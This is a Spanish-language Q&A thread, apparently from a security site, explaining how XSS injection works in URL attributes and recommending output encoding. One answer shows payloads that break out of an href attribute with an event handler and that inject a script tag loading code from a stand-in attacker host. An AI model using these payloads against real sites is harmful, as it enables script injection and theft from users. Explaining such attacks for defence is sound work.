Cómo salir del contexto de la URL

6

La OWASP XSS Prevention Worksheet recomienda "escape de URL antes de insertar datos no fiables en el parámetro HTML HTML valores ".

No entiendo cómo alguien podría salir de un contexto de URL o inyectar un nuevo subcontexto para realizar un ataque XSS en una URL. A medida que el navegador interpreta la URL, ¿se pueden usar ciertos caracteres para terminar el procesamiento de la URL y forzar al navegador a comenzar a procesar una nueva URL inyectada?

http://somesite.com/about<terminating character>javascript:;alert("hello")

¿Puede alguien proporcionar ejemplos de cómo alguien realizaría una inyección XSS en una URL?

    
pregunta bwroga 23.02.2015 - 15:42
fuente

2 respuestas

3

El problema es si acepta la entrada del usuario como parte de la url que generó, como en este ejemplo dado por OWASP:

<a href="http://www.somesite.com?test=[user input]">link</a >  

El atacante no tiene que salir del contexto de la URL, sino de la cadena, por ejemplo, inyectando:

foo" onload="evilJS();" foo="bar

o para romper la etiqueta a también:

"><script src="evil.attacker/script.js"></script>
    
respondido por el tim 23.02.2015 - 15:47
fuente
0

Este es un ataque clásico llamado "XSS reflejado", y también se puede usar para "XSS persistente". Si no codifica los parámetros que se envían a su aplicación web, pueden "reflejarse" nuevamente en el cuerpo html y ejecutarse como javascript. Como regla general, codificar absolutamente todo. Todas las etiquetas que podrían usarse para producir XSS deben estar codificadas antes de mostrarse en la aplicación (como, por ejemplo, < >). Lo que puede ser peor (en el caso persistente), es cuando se guarda el XSS en su Aplicación y retirada a través de base de datos.

Muchos frameworks web no hacen esto por defecto.

    
respondido por el baordog 23.02.2015 - 15:49
fuente

Lea otras preguntas en las etiquetas